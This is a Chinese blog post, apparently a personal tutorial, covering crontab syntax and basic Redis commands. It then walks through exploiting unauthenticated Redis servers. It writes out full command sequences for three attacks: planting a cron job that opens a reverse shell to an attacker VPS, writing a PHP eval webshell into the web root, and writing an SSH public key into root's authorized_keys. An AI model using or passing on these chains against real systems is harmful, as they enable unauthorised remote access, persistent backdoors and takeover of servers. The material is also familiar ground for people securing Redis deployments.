序言
Crontab 可以在指定的时间执行一个Shell脚本或者 Linux/Unix 命令。
Crontab表达式
Cron 表达式从左往右,从秒开始;而 Crontab 则是从分钟开始的。
Cron 表达式是一个字符串,字符串以 5 或 6 个空格隔开,分为 6 或 7 个域,每一个域代表一个含义,
Cron 有如下两种语法格:
(1)Seconds Minutes Hours DayofMonth Month DayofWeek Year
(2)Seconds Minutes Hours DayofMonth Month DayofWeek
Crontab 格式:
MIN(分钟) HOUR(小时) DAY(日期) MONTH(月份) DAYOFWEEK(星期) COMMAND(命令)
Crontab -help
crontab –e : 修改 crontab 文件. 如果文件不存在会自动创建。
crontab –l : 显示 crontab 文件。
crontab -r : 删除 crontab 文件。
crontab -ir : 删除 crontab 文件前提醒用户。
Crontab调度
crond进程负责读取调度任务并执行,用户只需要将相应的调度脚本写入cron的调度配置文件中。crond进程不需要用户启动、关闭。
cron的调度文件有以下几个
crontab
cron.d
cron.daily
cron.hourly
cron.monthly
cron.weekly
Crontab 例子
在每天凌晨过一分钟 12:01 a.m 执行
1 0 * * * /root/bin/backup.sh
每个工作日 (Mon – Fri) 11:59 p.m 执行
59 11 * * 1,2,3,4,5 /root/bin/backup.sh
下面例子与上面的例子效果一样:
59 11 * * 1-5 /root/bin/backup.sh
每 5 分钟执行一次命令
*/5 * * * * /root/bin/check-status.sh
每个月的第一天 1:10 p.m 执行
10 13 1 * * /root/bin/full-backup.sh
每个工作日 11 p.m 执行
0 23 * * 1-5 /root/bin/incremental-backup.sh
Redis常用命令
连接服务
redis-cli -h 192.168.0.7
(1)info 查看信息
(2)flushall 删除所有数据库内容
(3)flushdb 刷新数据库
(4)KEYS * 查看所有键,使用select num可以查看键值数据。
(5)set test "who am i" 设置变量
(6)config set dir {dirpath} 设置路径等配置
(7)config set dbfilename redis.rdb 设置备份文件名
(8)config get dir/dbfilename 获取路径及数据配置信息
(9)save 保存
(10)get 变量,查看变量名称
nmap 获取redis信息
nmap -A -p 6379 --script redis-info 192.168.0.7
计划任务反弹Shell
# VPS 启监听
➜ nc -lvp 6666
# 攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 192.168.0.7
192.168.0.7:6379> set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1\n"
OK
192.168.0.7:6379> config set dir /var/spool/cron/
OK
192.168.0.7:6379> config set dbfilename root
OK
192.168.0.7:6379> save
OK
redis写shell
redis必须有写入的权限,可尝试写入webshell
攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 192.168.0.7
192.168.0.7:6379> config set dir /var/www/html/
OK
192.168.0.7:6379> config set dbfilename 1.php
OK
192.168.0.7:6379> set x "<?php @eval($_POST['x']);?>"
OK
192.168.0.7:6379> save
OK
写公钥获取权限
1.Redis服务以ROOT权限启动
2.目标开放ssh服务,并且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
2.目标开放ssh服务,并且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
# 本地生成一对密钥
➜ ssh-keygen -t rsa
# 将公钥写入一个文件,内容前后要加两个换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
# 将公钥放入目标服务器键`crackit`里面
cat key.txt | redis-cli -h 192.168.0.7 -x set crackit
# 或者 192.168.0.7:6379> set crackit “\n\n\n 公钥内容 \n\n\n”
192.168.0.7:6379> config set dir /root/.ssh/
OK
192.168.0.7:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.0.7:6379> config set dbfilename authorized_keys
OK
192.168.0.7:6379> save
OK
# 使用私钥连接
➜ ssh -i id_rsa [email protected]
本文作者为彦祖,转载请注明。